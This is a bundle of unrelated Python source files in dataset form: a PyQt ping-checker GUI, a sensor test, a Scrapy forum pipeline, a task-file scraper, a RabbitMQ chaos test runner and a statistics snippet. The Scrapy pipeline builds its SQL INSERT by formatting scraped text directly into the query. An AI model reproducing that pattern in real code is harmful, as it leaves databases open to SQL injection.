self.animation.setStartValue(0)\n self.animation.setEndValue(100)\n self.animation.start()\n '''\n\n #self.animation = QtCore.QPropertyAnimation(self.worldFetchProgress,b\"opacity\")\n\n\n def clearErrors(self,errors=[]): #optional to clear select errors\n if errors == []:\n for label in self.errorText.children():\n if type(label) == QVBoxLayout:\n continue\n self.labels.remove(label)\n label.deleteLater()\n self.errorDivider.hide()\n\n else:\n deletedLabels=0\n for label in errors:\n if type(label) == QLabel:\n self.labels.remove(label)\n label.deleteLater()\n deletedLabels+=1\n \n if len(self.errorText.children())-1 == deletedLabels:\n self.errorDivider.hide()\n \n \n\n def clear(self):\n pinnedLabelsDeleted = 0\n for label in tuple(self.labels):\n self.labels.remove(label)\n label.deleteLater()\n if label.parent().objectName() == \"pinnedText\":\n pinnedLabelsDeleted+=1\n\n if len(self.pinnedText.children())-1 == pinnedLabelsDeleted:\n self.pinnedText.hide()\n # self.frameDivider.hide()\n\n self.scrollContainer.setProperty(\"worldList\",False)\n updateStyle(self.scrollContainer)\n \n\n def check(self,worlds,free,members):\n if not free:\n for world in tuple(worlds):\n if world[\"worldType\"] == \"Free\":\n worlds.remove(world)\n if not members:\n for world in tuple(worlds):\n if world[\"worldType\"] == \"Members\":\n worlds.remove(world)\n\n self.worldPingList.emit(worlds) \n #for world in worlds[:5]:\n # self.emitText(f'World {world[\"world\"]} - {world[\"players\"]} players ({world[\"worldType\"]})')\n \n #print(worlds)\n\n def emitText(self,text,css={},flags={}):\n if type(text) == list:\n text = \"\\n\".join(text)\n label = QLabel()\n sizePolicy = QSizePolicy(QSizePolicy.Preferred,QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(1)\n label.setSizePolicy(sizePolicy)\n \n \n\n\n if \"title\" in flags and flags[\"title\"]:\n flags[\"pin\"] = True\n self.frameDivider.show()\n addStyle(label,{\"margin-top\":\"5px\"})\n self.container.layout().insertWidget(0,label)\n\n elif \"error\" in flags and flags[\"error\"]:\n if \"specialStyle\" not in flags or flags[\"specialStyle\"] == True:\n css.update(self.ERRORSTYLE[0])\n flags.update(self.ERRORSTYLE[1])\n #self.container.layout().addWidget(label)\n self.errorText.layout().addWidget(label)\n self.errorDivider.show()\n\n elif \"pin\" in flags and flags[\"pin\"]:\n #if len(self.pinnedText.children()) == 1: #layout counts as child\n # self.pinnedText.show()\n # self.frameDivider.show()\n self.pinnedText.show()\n self.pinnedText.layout().addWidget(label)\n else:\n self.normalText.layout().addWidget(label)\n\n \n if \"perm\" in flags and not flags[\"perm\"] or \"perm\" not in flags:\n self.labels.append(label)\n\n if \"timestamp\" in flags and flags[\"timestamp\"]:\n text = datetime.now().strftime(\"%I:%M %p\") + \": \" + text\n\n if \"center\" in flags and flags[\"center\"]:\n label.setAlignment(QtCore.Qt.AlignCenter)\n\n\n if css != {}:\n css = makeCSS(css)\n else:\n css = \"\"\n\n css+=\"border:none;\"\n if \"rich\" in flags and flags[\"rich\"]:\n label.setTextFormat(QtCore.Qt.RichText)\n label.setText(text)\n label.setStyleSheet(css)\n return label\n\n \n\n \n\nclass Worker(QtCore.QObject):\n #signals\n friendLabelReady = QtCore.pyqtSignal(dict)\n\n #slots\n @QtCore.pyqtSlot()\n def createFriendLabel(self,data):\n self.friendLabelReady.emit(data)\n\n\nclass SettingsWindow(QMainWindow):\n def __init__(self):\n super().__init__()\n self.setWindowIcon(qtawesome.icon(\n 'fa5s.cog',\n color='#303030'\n ))\n\n self.setLayout(QVBoxLayout())\n\nclass Window(QMainWindow):\n fetchWorldsSignal = QtCore.pyqtSignal()\n def __init__(self):\n super().__init__()\n self.obj = Worker()\n self.typeSelectError = False\n self.initMain()\n\n self.show()\n\n def initMain(self):\n uic.loadUi(\"main.ui\",self)\n self.setWindowIcon(QIcon(os.path.join(\"images\",\"icon.ico\")))\n self.setStyleSheet(\"\"\"\n #MainWindow {\n background-image:url('images/osrs.png');\n background-repeat:no-repeat;\n }\n #checkBtn, #clearBtn{\n border:1px solid black;\n border-radius:3.5px;\n padding: 5px 25px 5px 25px;\n background:lightgray;\n }\n #checkBtn:hover, #clearBtn:hover {\n background:silver;\n }\n #checkBtn:pressed, #clearBtn:pressed {\n background:#a0a2a5 !important;\n }\n\n QCheckBox {\n border:none;\n \n }\n \n \"\"\")\n\n self.con = Console()\n self.settingsWindow = SettingsWindow()\n\n self.settingsButton = QPushButton('')\n self.settingsButton.resize(24,24)\n self.settingsButton.setFlat(True)\n self.settingsButton.setIcon(qtawesome.icon(\n 'fa5s.cog',\n color='#dddddd'\n ))\n self.settingsButton.setStyleSheet('''\n QPushButton:pressed {\n border:none !important;\n outline:none !important;\n background:none !important;\n }\n''')\n \n self.createWorkerThread()\n\n self.memberWorldBox.setChecked(config[\"worldTypes\"][\"members\"])\n self.freeWorldBox.setChecked(config[\"worldTypes\"][\"free\"])\n self.memberWorldBox.setProperty(\"worldType\",\"members\")\n self.freeWorldBox.setProperty(\"worldType\",\"free\")\n self.memberWorldBox.clicked.connect(lambda:self.checkBoxClicked(self.memberWorldBox))\n self.freeWorldBox.clicked.connect(lambda:self.checkBoxClicked(self.freeWorldBox))\n self.clearBtn.pressed.connect(lambda:self.pressBtn(self.clearBtn))\n self.checkBtn.pressed.connect(lambda:self.pressBtn(self.checkBtn))\n self.settingsButton.pressed.connect(self.displaySettings)\n self.clearBtn.released.connect(self.clear)\n self.checkBtn.released.connect(self.check)\n self.setFixedSize(335,565)\n #layout = QVBoxLayout()\n #layout.setContentsMargins(0,0,0,0)\n #self.informationBox.setLayout(layout)\n self.informationBox.hide()\n index = self.mainFrame.layout().indexOf(self.informationBox)\n self.mainFrame.layout().insertWidget(index,self.con)\n \n self.settingsButton.setParent(self.mainFrame)\n\n def showEvent(self,event):\n self.settingsButton.move(\n self.titleLabel.x()+(self.titleLabel.width())-(self.settingsButton.width()),\n self.titleLabel.y()+(self.titleLabel.height())-(self.settingsButton.height())\n )\n print(self.settingsButton.geometry(),self.titleLabel.geometry())\n\n def displaySettings(self):\n self.settingsWindow.show()\n \n def createWorkerThread(self):\n self.thread = QtCore.QThread()\n self.worldRetriever = WorldFetcher()\n self.worldRetriever.worldSignal.connect(self.startConCheck)\n self.worldRetriever.moveToThread(self.thread)\n self.thread.start()\n\n self.fetchWorldsSignal.connect(self.worldRetriever.run)\n\n self.con.worldPingList.connect(self.worldRetriever.pingWorlds)\n self.worldRetriever.worldParsedSignal.connect(self.con.updateProgress)\n self.worldRetriever.worldTotalSignal.connect(lambda total:self.con.setProgressTotal(total,\"%p% Retrieving world data...\"))\n self.worldRetriever.fetchingCompleteSignal.connect(self.fetchingComplete)\n self.worldRetriever.pingTotalSignal.connect(lambda total:self.con.setProgressTotal(total,\"%p% Retrieving server latency data... (%v/%m)\"))\n self.worldRetriever.worldPingedSignal.connect(self.con.updateProgress)\n self.worldRetriever.pingDeltasSignal.connect(self.graph)\n self.worldRetriever.worldListComplete.connect(self.con.completeWorldData)\n\n\n def checkBoxClicked(self,obj):\n config[\"worldTypes\"][obj.property(\"worldType\")] = obj.isChecked()\n saveConfig()\n\n def graph(self,data):\n popup = PopupGraph(data)\n \n\n def resetWorker(self):\n if self.thread.isRunning():\n self.worldRetriever.disconnect()\n print(\"terminating\")\n self.thread.terminate()\n\n self.thread.wait()\n\n self.createWorkerThread()\n\n\n def pressBtn(self,obj):\n obj.setProperty(\"pressed\",True)\n updateStyle(obj)\n\n\n def startConCheck(self,worldData):\n self.con.check(worldData,self.freeWorldBox.isChecked(),self.memberWorldBox.isChecked())\n\n\n def cancel(self):\n self.resetWorker()\n self.checkBtn.setText(\"Check\")\n self.checkBtn.released.disconnect()\n self.checkBtn.released.connect(self.check)\n self.con.resetThreadedFetching()\n self.con.emitText(\"Cancelling...\")\n \n \n def fetchingComplete(self):\n self.checkBtn.setText(\"Check\")\n self.checkBtn.released.disconnect()\n self.checkBtn.released.connect(self.check)\n self.con.resetThreadedFetching()\n self.con.clear()\n\n def check(self):\n updateStyle(self.checkBtn)\n if self.freeWorldBox.isChecked() or self.memberWorldBox.isChecked():\n self.con.clearErrors([self.typeSelectError])\n #self.typeSelectError = False\n #self.con.worldFetchProgress.setFormat(\"Retrieving world data... (%p%)\")\n #QtCore.QMetaObject.invokeMethod(self.worldRetriever,\"run\")\n self.con.worldFetchProgress.show()\n self.fetchWorldsSignal.emit()\n self.checkBtn.setText(\"Cancel\")\n self.checkBtn.released.disconnect()\n self.checkBtn.released.connect(self.cancel)\n\n \n \n \n else:\n if not self.typeSelectError:\n emittedLabel = self.con.emitText(\"No world types selected\",{},{\"timestamp\":True,\"error\":True})\n self.typeSelectError = emittedLabel\n\n def clear(self):\n updateStyle(self.clearBtn)\n self.con.clear()\n self.con.errorDivider.hide()\n self.typeSelectError = False\n \n\n\n\nwindow = Window()\nsplash.hide()\n\ndef PyQtException(cls, exception, traceback):\n sys.__excepthook__(cls, exception, traceback)\nsys.excepthook = PyQtException\n\napp.exec_()\nsys.exit()\n","sub_path":"pingChecker2.py","file_name":"pingChecker2.py","file_ext":"py","file_size_in_byte":36457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"313764417","text":"#!/usr/bin/env python3\n\n\"\"\"\nCreated on 6 Aug 2016\n\n@author: Bruno Beloff (bruno.beloff@southcoastscience.com)\n\"\"\"\n\nfrom scs_dfe.interface.component.mcp9808 import MCP9808\n\nfrom scs_host.bus.i2c import I2C\n\n\n# --------------------------------------------------------------------------------------------------------------------\n\ntry:\n I2C.Sensors.open()\n\n temp = MCP9808(False)\n print(temp)\n\n temp.running = True\n\n datum = temp.sample()\n print(datum)\n\n print(temp)\n\nfinally:\n I2C.Sensors.close()\n","sub_path":"tests/interface/component/mcp9808_test.py","file_name":"mcp9808_test.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"555621361","text":"\"\"\"\nCopyright (c) 2013 Tommy Carpenter\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n\"\"\"\n\n# Define your item pipelines here\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: http://doc.scrapy.org/topics/item-pipeline.html\nfrom unidecode import unidecode #used to convert strange unicode into ascii\nfrom lib.utils.string_functions import cleanse_tags_contractions_whitespace\nfrom lib.utils.mysql import CrawlerDBC\n\n#cleans the items before being entered into the database. \nclass myNissanLeafClean(object):\n def process_item(self, item, spider):\n if 'myNissanLeafClean' not in getattr(spider, 'pipelines'):\n return item\n \n #fix contractions in title\n item['title'] = cleanse_tags_contractions_whitespace(item['title'])\n \n #infer numcomments\n item['numcomments'] = len(item['comments'])\n \n #make the comments into pairs {date|||comment} 3 pipes used because later i need to parse the date out and need a unique seperator. \n comments = \"\"\n for c in range(0,len(item['comments'])): \n #need to kill the quoted text, but cant do this in xpath.\n #in xpath if we select /div/text, then if there is a blank line in someones post:\n #
    \n #blag\n #
    \n #blah\n #this gets parsed as two seperate comments. but we only want this to count as one post. \n \n #instead well split the string (using pythoin) based on the div tag and take the content before the last tag\n #KILL ALL OF THIS:\n #
    padamson1 wrote:
    I've been using the coil and twist method used by sailors (as shown here http://www.you\n #tube.com/watch?v=k2ChlCns4AU but without the final tight wrap & knot). \n #This requires that a the far end is free to spin around because the twist turns the rope.
    \n #START KEEPING FROM HERE\n #
    I had modified this method so that when the wire gets twisted, I twist it the opposite way and \n #put the loop on the other side of the coil. This keeps the cable from getting twisted overall. \n #I use this on the 20 feet of cable on the 120V brick EVSE. But--it does nothing to help you get it unrolled. \n #I have to unroll it the old fashioned way...\n #

    THEN, I watched the video! No more of the old method! I am going to learn this over/under method. \n #As padamson1 said, I learned something new today.\n #
    \n \n #note this wont work if there is a quote before and after a posters post, but hopefully the number of these si small\n thec = item['comments'][c].split(\"
    \")[-2]\n comments += \"{\" + item['commentdates'][c] + \"|||\" + (cleanse_tags_contractions_whitespace(thec) + \"}\\n\")\n item['newCommentFormat'] = comments\n return item\n \n\n#put the items in de db \nclass myNissanLeafDB(CrawlerDBC): \n def process_item(self, item, spider):\n if 'myNissanLeafDB' not in getattr(spider, 'pipelines'):\n return item\n q = 'insert into LeafReviews (BaseSite,Content,Title,Url,NumComments,Comments) values (\\'{0}\\', \\'{1}\\', \\'{2}\\', \\'{3}\\',\\'{4}\\', \\'{5}\\')'.format(item['site'],item['contenttype'],item['title'],item['url'],item['numcomments'],item['newCommentFormat'])\n self.insertItem(item, q)\n return item\n\n","sub_path":"lib/crawling/leaf_pipeline.py","file_name":"leaf_pipeline.py","file_ext":"py","file_size_in_byte":4652,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"535723695","text":"#!/usr/bin/env python2\n\"\"\"Module for InterviewScraper\"\"\"\nfrom scrapers import *\n\n\nclass InterviewScraper:\n \"\"\"InterviewScraper class\n\n High-Level_Programming project scraper.\n\n Args:\n soup (obj): BeautifulSoup obj containing parsed link\n\n Attributes:\n py_flag (int): For write_checker()\n py_js (int): For write_checker()\n \"\"\"\n sh_flag = 0\n py_flag = 0\n js_flag = 0\n html_flag = 0\n css_flag = 0\n scss_flag = 0\n c_flag = 0\n check_flag = 0\n header_check = 0\n\n def __init__(self, soup):\n self.soup = soup\n self.file_names = self.find_files()\n self.prototypes_list = self.find_prototypes()\n self.header_name = self.find_header()\n self.unique_file_names = self.remove_duplicate_files()\n\n def find_prototypes(self):\n \"\"\"Method to scrape python prototypes\n\n Has a failsafe incase there are non-python files in scraped data.\n \"\"\"\n res = []\n find_protos = self.soup.find_all(string=re.compile(\"Prototype: \"))\n for item in find_protos:\n py_proto = item.next_sibling.text\n find_py = py_proto.find(\":\")\n find_c = py_proto.find(\";\")\n if find_py != 1 or find_c != 1:\n res.append(py_proto)\n else:\n pass\n return res\n\n def find_files(self):\n \"\"\"Method to scrape for python file names\"\"\"\n return self.soup.find_all(string=re.compile(\"File: \"))\n\n def html_skeleton(self, file_name):\n html_string = ('\\n\\n'\n '\\n'\n '\\t\\n'\n '\\t\\n'\n '\\tDocument\\n'\n '\\n\\n\\n'\n '\\n\\n')\n with open(file_name, \"w\") as f:\n f.write(html_string)\n\n def write_file_name(self, file_name, find_pyfile, file_idx):\n \"\"\" Method to write actual file \"\"\"\n w_file_name = open(file_name, \"w+\")\n if \".py\" in file_name:\n self.py_flag = 1\n self.check_flag = 1\n w_file_name.write(\"#!/usr/bin/python3\\n\")\n elif \".sh\" in file_name:\n self.sh_flag = 1\n self.check_flag = 1\n w_file_name.write(\"#!/bin/bash\\n\")\n elif \".js\" in file_name:\n self.js_flag = 1\n self.check_flag = 1\n w_file_name.write(\"#!/usr/bin/node\\n\")\n elif \".html\" in file_name:\n self.html_flag = 1\n self.check_flag = 1\n self.html_skeleton(file_name)\n elif \".css\" in file_name:\n self.css_flag = 1\n self.check_flag = 1\n w_file_name.write(\"{\\n\\t\\n}\\n\")\n elif \".scss\" in file_name:\n self.scss_flag = 1\n w_file_name.write(\"/* My style */\\n\")\n elif \".c\" in file_name:\n self.c_flag = 1\n try:\n # Pulling out name of function for documentation\n if len(self.prototypes_list) != 0:\n func_name = self.prototypes_list[file_idx]\n func_name = func_name.split(\"(\", 1)[0]\n tmp_split = func_name.split(\" \")\n func_name = tmp_split[len(tmp_split) - 1]\n tmp_split = func_name.split(\"*\")\n func_name = tmp_split[len(tmp_split) - 1]\n\n # Removing string after first comma (multiple file names)\n find_comma = file_name.find(\",\")\n if find_comma != -1:\n w_file_name = open(file_name[:find_comma], \"w+\")\n else:\n w_file_name = open(file_name, \"w+\")\n\n if self.header_check != 1:\n func_proto = self.prototypes_list[file_idx]\n if func_proto[-1] == \";\":\n func_proto = func_proto[:-1]\n w_file_name.write('#include \"%s\"\\n\\n' % self.header_name)\n w_file_name.write(\"/**\\n\")\n w_file_name.write(\" * %s -\\n\" % func_name)\n w_file_name.write(\" *\\n\")\n w_file_name.write(\" * Return: \\n\")\n w_file_name.write(\" **/\\n\\n\")\n w_file_name.write(\"%s\\n\" % func_proto)\n w_file_name.write(\"\\b\")\n w_file_name.write(\"{\\n\")\n w_file_name.write(\"\\n\")\n w_file_name.write(\"}\")\n w_file_name.write(\"\\n\")\n except (AttributeError, IndexError):\n sys.stdout.write(\"[ERROR] Failed to create \")\n sys.stdout.write(\"task file %s\\n\" % file_name)\n sys.stdout.write(\" ... \")\n # Creating prototypes in parallel with files\n if find_pyfile != -1:\n proto = self.prototypes_list[file_idx]\n if proto[-1] != \":\":\n proto = proto + \":\"\n w_file_name.write(proto + \"\\n\")\n file_idx += 1\n w_file_name.close()\n\n def write_files(self):\n \"\"\"Method to write/create python files\n\n Has a function that creates directories if found in `file_name`.\n Last function creates required files in additional directory.\n \"\"\"\n\n new_dir_files = []\n file_idx = 0\n one_dir_check = 0\n folder_name = None\n\n sys.stdout.write(\" -> Creating task files... \")\n for text_file in self.unique_file_names:\n if \"images/\" in text_file:\n os.mkdir(\"images\")\n continue\n try:\n find_pyfile = text_file.find(\".py\")\n # find_cfile = text_file.find(\".c\")\n find_comma = re.search('(.+?),', text_file)\n\n # Creating sub directories if exists\n if find_comma is not None:\n find_folder = re.search(', (.+?)/', text_file)\n else:\n find_folder = re.search('(.+?)/', text_file)\n find_dir_file = re.search('/(.+?)$', text_file)\n if find_dir_file is not None:\n new_dir_files.append(str(find_dir_file.group(1)))\n if find_folder is not None and one_dir_check is 0:\n folder_name = str(find_folder.group(1))\n os.mkdir(folder_name)\n one_dir_check += 1\n\n # Handling multiple files\n if \", \" in text_file:\n comma_file_names = text_file.split(\", \")\n for file_name in comma_file_names:\n self.write_file_name(file_name, find_pyfile, file_idx)\n if \".c\" in file_name:\n file_idx += 1\n elif \".\" not in text_file and one_dir_check is not 1:\n # check if file or dir by checking for digits\n contains_digit = any(map(unicode.isdigit, text_file))\n if contains_digit:\n w_file_name = open(text_file, \"w+\")\n w_file_name.close()\n else:\n os.mkdir(text_file)\n else:\n self.write_file_name(text_file, find_pyfile, file_idx)\n if \".c\" in text_file:\n file_idx += 1\n except AttributeError:\n sys.stdout.write(\"[ERROR] Failed to create \")\n sys.stdout.write(\"task file %s\\n\" % text_file)\n sys.stdout.write(\" ... \")\n continue\n except IOError:\n sys.stdout.write(\"[ERROR] Failed to make file, passing\\n\")\n sys.stdout.write(\" ... \")\n pass\n except IndexError:\n pass\n\n # Check if new dir created, insert files if there is\n if folder_name is not None and one_dir_check is 1:\n os.chdir(folder_name)\n for item in new_dir_files:\n if \",\" in item:\n item_obj = re.search('/(.+?)$', text_file)\n item = str(item_obj.group(1))\n dir_file = open(item, \"w+\")\n dir_file.close()\n os.chdir(\"..\")\n if self.check_flag:\n self.write_checker()\n print(\"done\")\n\n def write_checker(self):\n with open(\"check.sh\", \"w+\") as f:\n f.write(\"#!/usr/bin/env bash\\n\")\n if self.js_flag == 1:\n f.write(\"semistandard --fix \")\n elif self.sh_flag == 1:\n f.write(\"shellcheck \")\n elif self.py_flag == 1:\n f.write(\"pep8 \")\n elif self.html_flag == 1 or self.css_flag == 1:\n f.write(\"/home/vagrant/utils/W3C-Validator/w3c_validator.py \")\n if self.file_names:\n for i in self.file_names:\n f.write('\"%s\" ' % i.next_sibling.text)\n f.write(\"\\n\")\n\n def remove_duplicate_files(self):\n \"\"\"Removes duplicate file names\"\"\"\n res = []\n for item in self.file_names:\n text_file = item.next_sibling.text\n if \", \" in text_file:\n comma_file_names = text_file.split(\", \")\n for file_name in comma_file_names:\n if file_name not in res:\n res.append(file_name)\n elif text_file not in res:\n res.append(text_file)\n return res\n\n def find_header(self):\n \"\"\"Method to scrape for C header file name\"\"\"\n try:\n page_text = self.soup.get_text()\n my_header_start = page_text.index(\"header file called \")\n my_header_end = page_text.index(\".h\")\n header_string = page_text[my_header_start:my_header_end]\n header_name = header_string.split()[-1] + \".h\"\n return header_name\n except:\n self.header_check = 1\n return \"\"\n","sub_path":"scrapers/interview_scraper.py","file_name":"interview_scraper.py","file_ext":"py","file_size_in_byte":10192,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"390114962","text":"#!/usr/bin/env python\nimport pika\nimport sys\nimport time\nimport subprocess\nimport random\nimport threading\nimport requests\nimport json\nimport signal\n\nfrom command_args import get_args, get_mandatory_arg, get_optional_arg\nfrom RabbitPublisher import RabbitPublisher\nfrom MultiTopicConsumer import MultiTopicConsumer\nfrom QueueStats import QueueStats\nfrom ChaosExecutor import ChaosExecutor\nfrom printer import console_out\nfrom MessageMonitor import MessageMonitor\nfrom ConsumerManager import ConsumerManager\nfrom BrokerManager import BrokerManager\n\nstop_please = False\nstop_requests = 0\n\ndef interuppt_handler(signum, frame):\n global stop_please, stop_requests\n console_out(\"STOP REQUESTED\", \"TEST RUNNER\")\n stop_please = True\n stop_requests +=1\n\n if stop_requests >= 2:\n sys.exit(-2) \n \n\ndef main():\n\n #signal.signal(signal.SIGINT, interuppt_handler)\n args = get_args(sys.argv)\n\n count = -1 # no limit\n tests = int(get_mandatory_arg(args, \"--tests\"))\n run_minutes = int(get_mandatory_arg(args, \"--run-minutes\"))\n consumer_count = int(get_mandatory_arg(args, \"--consumers\"))\n grace_period_sec = int(get_mandatory_arg(args, \"--grace-period-sec\"))\n queue = get_mandatory_arg(args, \"--queue\")\n queue_type = get_mandatory_arg(args, \"--queue-type\")\n sac = get_mandatory_arg(args, \"--sac\")\n\n publisher_count = int(get_optional_arg(args, \"--publishers\", \"1\"))\n print_mod = int(get_optional_arg(args, \"--print-mod\", \"0\"))\n new_cluster = get_optional_arg(args, \"--new-cluster\", \"true\")\n in_flight_max = int(get_optional_arg(args, \"--in-flight-max\", \"10\"))\n sequence_count = int(get_optional_arg(args, \"--sequences\", \"1\"))\n cluster_size = get_optional_arg(args, \"--cluster\", \"3\")\n chaos = get_optional_arg(args, \"--chaos-actions\", \"true\")\n chaos_mode = get_optional_arg(args, \"--chaos-mode\", \"mixed\")\n chaos_min_interval = int(get_optional_arg(args, \"--chaos-min-interval\", \"60\"))\n chaos_max_interval = int(get_optional_arg(args, \"--chaos-max-interval\", \"120\"))\n consumer_actions = get_optional_arg(args, \"--consumer-actions\", \"true\")\n con_action_min_interval = int(get_optional_arg(args, \"--consumer-min-interval\", \"20\"))\n con_action_max_interval = int(get_optional_arg(args, \"--consumer-max-interval\", \"60\"))\n\n if print_mod == 0:\n print_mod = in_flight_max * 5\n\n include_chaos = True\n if chaos.upper() == \"FALSE\":\n include_chaos = False\n\n include_con_actions = True\n if consumer_actions.upper() == \"FALSE\":\n include_con_actions = False\n\n sac_enabled = True\n if sac.upper() == \"FALSE\":\n sac_enabled = False\n\n message_type = \"sequence\"\n \n for test_number in range(tests):\n\n print(\"\")\n console_out(f\"TEST RUN: {str(test_number)} --------------------------\", \"TEST RUNNER\")\n if new_cluster.upper() == \"TRUE\":\n subprocess.call([\"bash\", \"../automated/setup-test-run.sh\", cluster_size, \"3.8\"])\n console_out(f\"Waiting for cluster...\", \"TEST RUNNER\")\n time.sleep(30)\n\n console_out(f\"Cluster status:\", \"TEST RUNNER\")\n subprocess.call([\"bash\", \"../cluster/cluster-status.sh\"])\n \n broker_manager = BrokerManager()\n broker_manager.load_initial_nodes()\n initial_nodes = broker_manager.get_initial_nodes()\n console_out(f\"Initial nodes: {initial_nodes}\", \"TEST RUNNER\")\n\n queue_name = queue + \"_\" + str(test_number)\n mgmt_node = broker_manager.get_random_init_node()\n queue_created = False\n\n while queue_created == False: \n if sac_enabled: \n queue_created = broker_manager.create_sac_queue(mgmt_node, queue_name, cluster_size, queue_type)\n else:\n queue_created = broker_manager.create_queue(mgmt_node, queue_name, cluster_size, queue_type)\n\n if queue_created == False:\n time.sleep(5)\n\n time.sleep(10)\n\n msg_monitor = MessageMonitor(print_mod)\n stats = QueueStats('jack', 'jack', queue_name)\n chaos = ChaosExecutor(initial_nodes)\n\n if chaos_mode == \"partitions\":\n chaos.only_partitions()\n elif chaos_mode == \"nodes\":\n chaos.only_kill_nodes()\n\n consumer_manager = ConsumerManager(broker_manager, msg_monitor, \"TEST RUNNER\")\n\n pub_node = broker_manager.get_random_init_node()\n publisher = RabbitPublisher(f\"PUBLISHER(Test:{test_number} Id:P1)\", initial_nodes, pub_node, in_flight_max, 120, print_mod)\n consumer_manager.add_consumers(consumer_count, test_number, queue_name)\n\n monitor_thread = threading.Thread(target=msg_monitor.process_messages)\n monitor_thread.start()\n \n consumer_manager.start_consumers()\n\n if publisher_count == 1:\n pub_thread = threading.Thread(target=publisher.publish_direct,args=(queue_name, count, sequence_count, 0, \"sequence\"))\n pub_thread.start()\n console_out(\"publisher started\", \"TEST RUNNER\")\n\n if include_con_actions or include_chaos:\n init_wait_sec = 20\n console_out(f\"Will start chaos and consumer actions in {init_wait_sec} seconds\", \"TEST RUNNER\")\n time.sleep(init_wait_sec)\n\n if include_chaos:\n chaos_thread = threading.Thread(target=chaos.start_random_single_action_and_repair,args=(chaos_min_interval,chaos_max_interval))\n chaos_thread.start()\n console_out(\"Chaos executor started\", \"TEST RUNNER\")\n\n if include_con_actions:\n consumer_action_thread = threading.Thread(target=consumer_manager.start_random_consumer_actions,args=(con_action_min_interval, con_action_max_interval))\n consumer_action_thread.start()\n console_out(\"Consumer actions started\", \"TEST RUNNER\")\n\n \n ctr = 0\n run_seconds = run_minutes * 60\n while ctr < run_seconds and not stop_please:\n try:\n time.sleep(1)\n ctr += 1\n\n if ctr % 60 == 0:\n console_out(f\"Test at {int(ctr/60)} minute mark, {int((run_seconds-ctr)/60)} minutes left\", \"TEST RUNNER\")\n except KeyboardInterrupt:\n console_out(f\"Test forced to stop at {int(ctr/60)} minute mark, {int((run_seconds-ctr)/60)} minutes left)\", \"TEST RUNNER\")\n break\n\n try:\n chaos.stop_random_single_action_and_repair()\n consumer_manager.stop_random_consumer_actions()\n \n if include_chaos:\n chaos_thread.join()\n\n if include_con_actions:\n consumer_action_thread.join()\n except Exception as e:\n console_out(\"Failed to stop chaos cleanly: \" + str(e), \"TEST RUNNER\")\n\n console_out(\"Resuming consumers\", \"TEST RUNNER\")\n consumer_manager.resume_all_consumers()\n \n if publisher_count == 1:\n publisher.stop(True)\n\n console_out(\"starting grace period for consumer to catch up\", \"TEST RUNNER\")\n ctr = 0\n \n while ctr < grace_period_sec:\n if msg_monitor.get_unique_count() >= publisher.get_pos_ack_count() and len(publisher.get_msg_set().difference(msg_monitor.get_msg_set())) == 0:\n break\n time.sleep(1)\n ctr += 1\n\n confirmed_set = publisher.get_msg_set()\n not_consumed_msgs = confirmed_set.difference(msg_monitor.get_msg_set())\n\n console_out(\"RESULTS ----------------------------------------\", \"TEST RUNNER\")\n console_out(f\"Confirmed count: {publisher.get_pos_ack_count()} Received count: {msg_monitor.get_receive_count()} Unique received: {msg_monitor.get_unique_count()}\", \"TEST RUNNER\")\n\n success = True\n if len(not_consumed_msgs) > 0:\n console_out(f\"FAILED TEST: Potential failure to promote Waiting to Active. Not consumed count: {len(not_consumed_msgs)}\", \"TEST RUNNER\")\n success = False\n\n if msg_monitor.get_out_of_order() == True:\n success = False\n console_out(f\"FAILED TEST: Received out-of-order messages\", \"TEST RUNNER\")\n\n if success:\n console_out(\"TEST OK\", \"TEST RUNNER\")\n\n console_out(\"RESULTS END ------------------------------------\", \"TEST RUNNER\")\n\n try:\n consumer_manager.stop_all_consumers()\n \n if publisher_count == 1:\n pub_thread.join()\n msg_monitor.stop_consuming()\n monitor_thread.join()\n except Exception as e:\n console_out(\"Failed to clean up test correctly: \" + str(e), \"TEST RUNNER\")\n\n console_out(f\"TEST {str(test_number )} COMPLETE\", \"TEST RUNNER\")\n\nif __name__ == '__main__':\n main()","sub_path":"RabbitMqUdn/client/random-test.py","file_name":"random-test.py","file_ext":"py","file_size_in_byte":8756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"31037266","text":"import pandas as pd \r\nimport seaborn as sns \r\nimport numpy as np \r\nimport matplotlib.pyplot as plt \r\ndf_all_states=pd.read_csv('E:\\csvdhf5xlsxurlallfiles/2008_all_states.csv')\r\nprint(df_all_states.columns)\r\n_=plt.plot(df_all_states['total_votes']/1000, df_all_states['dem_share'], marker='.', linestyle='none')\r\n_=plt.xlabel('total votes(thousands)')\r\n_=plt.ylabel('present of vote for obama')\r\nplt.show()\r\n#covariance - a measure of how quantities vary together. covarience=1/n(sum(Xi-Xmean).(Yi-Ymean))\r\n#r= correlation = covarience/(std of x)(std of y)\r\ncovarience_matrix=np.cov(df_all_states['total_votes'], df_all_states['dem_share'])\r\nprint(covarience_matrix)\r\ncov = covarience_matrix[0,1]\r\nprint(cov)\r\ndef 